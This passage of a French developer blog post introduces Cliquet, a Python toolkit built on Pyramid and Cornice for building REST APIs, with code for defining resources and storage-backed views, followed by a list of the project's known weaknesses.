&lt;p&gt;&lt;strong&gt;Pyramid&lt;/strong&gt; est un framework Web qui va prendre en charge tout la partie &lt;span class="caps"&gt;HTTP&lt;/span&gt;,
et qui s&amp;#8217;avère pertinent aussi bien pour des petits projets que des plus&amp;nbsp;ambitieux.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cornice&lt;/strong&gt; est une extension de &lt;em&gt;Pyramid&lt;/em&gt;, écrite en partie par Alexis et Tarek,
qui permet d&amp;#8217;éviter d&amp;#8217;écrire tout le code &lt;em&gt;boilerplate&lt;/em&gt; quand on construit une
&lt;span class="caps"&gt;API&lt;/span&gt; &lt;span class="caps"&gt;REST&lt;/span&gt; avec&amp;nbsp;Pyramid.&lt;/p&gt;
&lt;p&gt;Avec &lt;em&gt;Cornice&lt;/em&gt;, on évite de réécrire à chaque fois le code qui va
cabler les verbes &lt;span class="caps"&gt;HTTP&lt;/span&gt; aux méthodes, valider les entêtes, choisir le sérialiseur
en fonction des entêtes de négociation de contenus, renvoyer les codes &lt;span class="caps"&gt;HTTP&lt;/span&gt;
rigoureux, gérer les entêtes &lt;span class="caps"&gt;CORS&lt;/span&gt;, fournir la validation &lt;span class="caps"&gt;JSON&lt;/span&gt; à partir de&amp;nbsp;schémas&amp;#8230;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cliquet&lt;/strong&gt; utilise les deux précédents pour implémenter le protocole et fournir
des abstractions, mais on a toujours &lt;em&gt;Pyramid&lt;/em&gt; et &lt;em&gt;Cornice&lt;/em&gt; sous la main pour
aller au delà de ce qui est proposé&amp;nbsp;!&lt;/p&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-3" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-3"&gt;[3]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Au tout début nous avons commencé une implémentation avec &lt;em&gt;Python-Eve&lt;/em&gt;
(Flask), mais n&amp;#8217;étions pas satisfaits de l&amp;#8217;approche pour la configuration
de l&amp;#8217;&lt;span class="caps"&gt;API&lt;/span&gt;. En particulier du côté magique.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div class="section" id="concepts"&gt;
&lt;h3&gt;Concepts&lt;/h3&gt;
&lt;p&gt;Bien évidemment, les concepts du toolkit reflètent ceux du protocole mais il y
a des éléments&amp;nbsp;supplémentaires:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;strong&gt;Les backends&lt;/strong&gt; : abstractions pour le stockage, le cache et les permissions
(&lt;em&gt;ex. PostgreSQL, Redis, en-mémoire, &amp;#8230;&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;La supervision&lt;/strong&gt; : logging &lt;span class="caps"&gt;JSON&lt;/span&gt; et indicateurs temps-réel (&lt;em&gt;StatsD&lt;/em&gt;) pour suivre les
performances et la santé du&amp;nbsp;service.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;La configuration&lt;/strong&gt; : chargement de la configuration depuis les variables
d&amp;#8217;environnement et le fichier &lt;tt class="docutils literal"&gt;.ini&lt;/tt&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;La flexibilité&lt;/strong&gt; : dés/activation ou substitution de la majorité des composants
depuis la&amp;nbsp;configuration.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Le profiling&lt;/strong&gt; : utilitaires de développement pour trouver les &lt;a class="reference external" href="https://fr.wiktionary.org/wiki/goulet_d%E2%80%99%C3%A9tranglement"&gt;goulets
d&amp;#8217;étranglement&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;img alt="Cliquet concepts" class="align-center" src="https://blog.notmyidea.org/images/cliquet/cliquet-concepts.png" /&gt;
&lt;p&gt;Proportionnellement, l&amp;#8217;implémentation du protocole pour les resources &lt;span class="caps"&gt;REST&lt;/span&gt; est
la plus volumineuse dans le code source de &lt;em&gt;Cliquet&lt;/em&gt;.
Cependant, comme nous l&amp;#8217;avons décrit plus haut, &lt;em&gt;Cliquet&lt;/em&gt; fournit tout un
ensemble d&amp;#8217;outillage et de bonnes pratiques, et reste
donc tout à fait pertinent pour n&amp;#8217;importe quel type d&amp;#8217;&lt;span class="caps"&gt;API&lt;/span&gt;, même sans
manipulation de données&amp;nbsp;!&lt;/p&gt;
&lt;p&gt;L&amp;#8217;objectif de la boîte à outils est de faire en sorte qu&amp;#8217;un développeur puisse constuire
une application simplement, en étant sûr qu&amp;#8217;elle réponde aux exigeances de la
mise en production, tout en ayant la possibilité de remplacer certaines parties
au fur et à mesure que ses besoins se&amp;nbsp;précisent.&lt;/p&gt;
&lt;p&gt;Par exemple, la persistence fournie par défault est &lt;em&gt;schemaless&lt;/em&gt; (e.g &lt;em&gt;&lt;span class="caps"&gt;JSONB&lt;/span&gt;&lt;/em&gt;),
mais rien n&amp;#8217;empêcherait d&amp;#8217;implémenter le stockage dans un modèle&amp;nbsp;relationnel.&lt;/p&gt;
&lt;p&gt;Comme les composants peuvent être remplacés depuis la configuration, il est
tout à fait possible d&amp;#8217;étendre &lt;em&gt;Cliquet&lt;/em&gt; avec des notions métiers ou des
codes exotiques ! Nous avons posé quelques idées dans &lt;a class="reference external" href="http://cliquet.readthedocs.org/en/latest/ecosystem.html"&gt;la documentation
de l&amp;#8217;éco-système&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Dans les prochaines semaines, nous allons introduire la notion d&amp;#8217;«évènements» (ou signaux),
qui permettraient aux extensions de s&amp;#8217;interfacer beaucoup plus&amp;nbsp;proprement.&lt;/p&gt;
&lt;p&gt;Nous attachons beaucoup d&amp;#8217;importance à la clareté du code, la pertinence des
&lt;em&gt;patterns&lt;/em&gt;, des tests et de la documentation. Si vous avez des commentaires,
des critiques ou des interrogations, n&amp;#8217;hésitez pas à &lt;a class="reference external" href="https://github.com/mozilla-services/cliquet/issues"&gt;nous en faire part&lt;/a&gt;&amp;nbsp;!&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="cliquet-a-l-action"&gt;
&lt;h2&gt;Cliquet, à&amp;nbsp;l&amp;#8217;action.&lt;/h2&gt;
&lt;p&gt;Nous avons écrit un &lt;a class="reference external" href="http://cliquet.readthedocs.org/en/latest/quickstart.html"&gt;guide de démarrage&lt;/a&gt;,
qui n&amp;#8217;exige pas de connaître &lt;em&gt;Pyramid&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Pour illustrer la simplicité et les concepts, voici quelques extraits&amp;nbsp;!&lt;/p&gt;
&lt;div class="section" id="etape-1"&gt;
&lt;h3&gt;Étape&amp;nbsp;1&lt;/h3&gt;
&lt;p&gt;Activer &lt;em&gt;Cliquet&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="hll"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;cliquet&lt;/span&gt;
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;pyramid.config&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Configurator&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;global_config&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;config&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Configurator&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="hll"&gt;    &lt;span class="n"&gt;cliquet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;initialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;1.0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;make_wsgi_app&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;À partir de là, la plupart des outils de &lt;em&gt;Cliquet&lt;/em&gt; sont activés et&amp;nbsp;accessibles.&lt;/p&gt;
&lt;p&gt;Par exemple, les URLs &lt;em&gt;hello&lt;/em&gt; (&lt;tt class="docutils literal"&gt;/v1/&lt;/tt&gt;) ou &lt;em&gt;supervision&lt;/em&gt; (&lt;tt class="docutils literal"&gt;/v1/__heartbeat__&lt;/tt&gt;).
Mais aussi les backends de stockage, de cache, etc.
qu&amp;#8217;il est possible d&amp;#8217;utiliser dans des vues classiques &lt;em&gt;Pyramid&lt;/em&gt; ou &lt;em&gt;Cornice&lt;/em&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="etape-2"&gt;
&lt;h3&gt;Étape&amp;nbsp;2&lt;/h3&gt;
&lt;p&gt;Ajouter des&amp;nbsp;vues:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;global_config&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;config&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Configurator&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;cliquet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;initialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;1.0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="hll"&gt;    &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;myproject.views&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;make_wsgi_app&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour définir des resources &lt;span class="caps"&gt;CRUD&lt;/span&gt;, il faut commencer par définir un schéma,
avec &lt;em&gt;Colander&lt;/em&gt;, et ensuite déclarer une&amp;nbsp;resource:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cliquet&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;resource&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;schema&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;BookmarkSchema&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;schema&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ResourceSchema&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;schema&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="hll"&gt;&lt;span class="nd"&gt;@resource&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;register&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;span class="hll"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Bookmark&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resource&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BaseResource&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;span class="hll"&gt;    &lt;span class="n"&gt;mapping&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BookmarkSchema&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Désormais, la resource &lt;span class="caps"&gt;CRUD&lt;/span&gt; est disponible sur &lt;tt class="docutils literal"&gt;/v1/bookmarks&lt;/tt&gt;, avec toutes
les fonctionnalités de synchronisation, filtrage, tri, pagination, timestamp, etc.
De base les enregistrements sont privés, par&amp;nbsp;utilisateur.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;h&lt;/span&gt;&lt;span class="kc"&gt;tt&lt;/span&gt;&lt;span class="err"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;GET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;http://localhost:8000/v1/bookmarks&amp;quot;&lt;/span&gt;
&lt;span class="err"&gt;HTTP/&lt;/span&gt;&lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;OK&lt;/span&gt;
&lt;span class="err"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;data&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;url&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;http://cliquet.readthedocs.org&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;cc103eb5-0c80-40ec-b6f5-dad12e7d975e&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;last_modified&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1437034418940&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="etape-3"&gt;
&lt;h3&gt;Étape&amp;nbsp;3&lt;/h3&gt;
&lt;p&gt;Évidemment, il est possible choisir les &lt;span class="caps"&gt;URLS&lt;/span&gt;, les verbes &lt;span class="caps"&gt;HTTP&lt;/span&gt; supportés, de modifier
des champs avant l&amp;#8217;enregistrement,&amp;nbsp;etc.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="hll"&gt;&lt;span class="nd"&gt;@resource&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;register&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;collection_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/user/bookmarks&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="hll"&gt;                   &lt;span class="n"&gt;record_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/user/bookmarks/{{id}}&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="hll"&gt;                   &lt;span class="n"&gt;collection_methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;GET&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,))&lt;/span&gt;
&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Bookmark&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resource&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BaseResource&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;mapping&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BookmarkSchema&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="hll"&gt;    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;process_record&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;span class="hll"&gt;        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;old&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;device&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;device&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
&lt;/span&gt;&lt;span class="hll"&gt;            &lt;span class="n"&gt;device&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;User-Agent&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;span class="hll"&gt;            &lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;device&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;device&lt;/span&gt;
&lt;/span&gt;&lt;span class="hll"&gt;        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;new&lt;/span&gt;
&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;a class="reference external" href="http://cliquet.readthedocs.org/en/latest/reference/resource.html"&gt;Plus d&amp;#8217;infos dans la documentation dédiée&lt;/a&gt;&amp;nbsp;!&lt;/p&gt;
&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;Il est possible de définir des resources sans validation de schema.
&lt;a class="reference external" href="https://github.com/mozilla-services/kinto/blob/master/kinto/views/records.py"&gt;Voir le code source de Kinto&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="etape-4-optionelle"&gt;
&lt;h3&gt;Étape 4&amp;nbsp;(optionelle)&lt;/h3&gt;
&lt;p&gt;Utiliser les abstractions de &lt;em&gt;Cliquet&lt;/em&gt; dans une vue &lt;em&gt;Cornice&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Par exemple, une vue qui utilise le backend de&amp;nbsp;stockage:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cliquet&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;

&lt;span class="n"&gt;score&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Service&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;score&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/score/&lt;/span&gt;&lt;span class="si"&gt;{game}&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Store game score&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@score&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;schema&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ScoreSchema&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;post_score&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;collection_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;scores-&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;match_dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;game&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;authenticated_userid&lt;/span&gt;
    &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;validated&lt;/span&gt;  &lt;span class="c1"&gt;# c.f. Cornice.&lt;/span&gt;

&lt;span class="hll"&gt;    &lt;span class="n"&gt;storage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;registry&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;storage&lt;/span&gt;
&lt;/span&gt;&lt;span class="hll"&gt;    &lt;span class="n"&gt;record&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;storage&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;collection_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;record&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="vos-retours"&gt;
&lt;h2&gt;Vos&amp;nbsp;retours&lt;/h2&gt;
&lt;p&gt;N&amp;#8217;hésitez pas à nous faire part de vos retours ! Cela vous a donné envie
d&amp;#8217;essayer ? Vous connaissez un outil similaire ?
Y-a-t-il des points qui ne sont pas clairs ? Manque de cas d&amp;#8217;utilisation concrets ?
Certains aspects mal pensés ? Trop contraignants ? Trop de magie ? Overkill&amp;nbsp;?&lt;/p&gt;
&lt;p&gt;Nous prenons&amp;nbsp;tout.&lt;/p&gt;
&lt;div class="section" id="points-faibles"&gt;
&lt;h3&gt;Points&amp;nbsp;faibles&lt;/h3&gt;
&lt;p&gt;Nous sommes très fiers de ce que nous avons construit, en relativement peu
de temps. Et comme nous l&amp;#8217;exposions dans l&amp;#8217;article précédent (plus accessible), il y a du potentiel&amp;nbsp;!&lt;/p&gt;
&lt;p&gt;Cependant, nous sommes conscients d&amp;#8217;un certain nombre de points
qui peuvent être vus comme des&amp;nbsp;faiblesses.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;strong&gt;La documentation d&amp;#8217;&lt;span class="caps"&gt;API&lt;/span&gt;&lt;/strong&gt; : actuellement, nous n&amp;#8217;avons pas de solution pour qu&amp;#8217;un
projet qui utilise &lt;em&gt;Cliquet&lt;/em&gt; puisse intégrer facilement toute
&lt;a class="reference external" href="http://cliquet.readthedocs.org/en/latest/api/index.html"&gt;la documentation de l&amp;#8217;&lt;span class="caps"&gt;API&lt;/span&gt;&lt;/a&gt;&amp;nbsp;obtenue.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;La documentation&lt;/strong&gt; : il est très difficile d&amp;#8217;organiser la documentation, surtout
quand le public visé est aussi bien débutant qu&amp;#8217;expérimenté. Nous sommes probablement
victimes du «&lt;a class="reference external" href="https://en.wikipedia.org/wiki/Curse_of_knowledge"&gt;curse of knowledge&lt;/a&gt;».&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Le protocole&lt;/strong&gt; : on sent bien qu&amp;#8217;on va devoir versionner le protocole. Au
moins pour le désolidariser des versions de &lt;em&gt;Cliquet&lt;/em&gt;, si on veut aller au
bout de la philosophie et de&amp;nbsp;l&amp;#8217;éco-système.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Le conservatisme&lt;/strong&gt; : Nous aimons la stabilité et la robustesse. Mais surtout
nous ne sommes pas tout seuls et devons nous plier aux contraintes de la mise
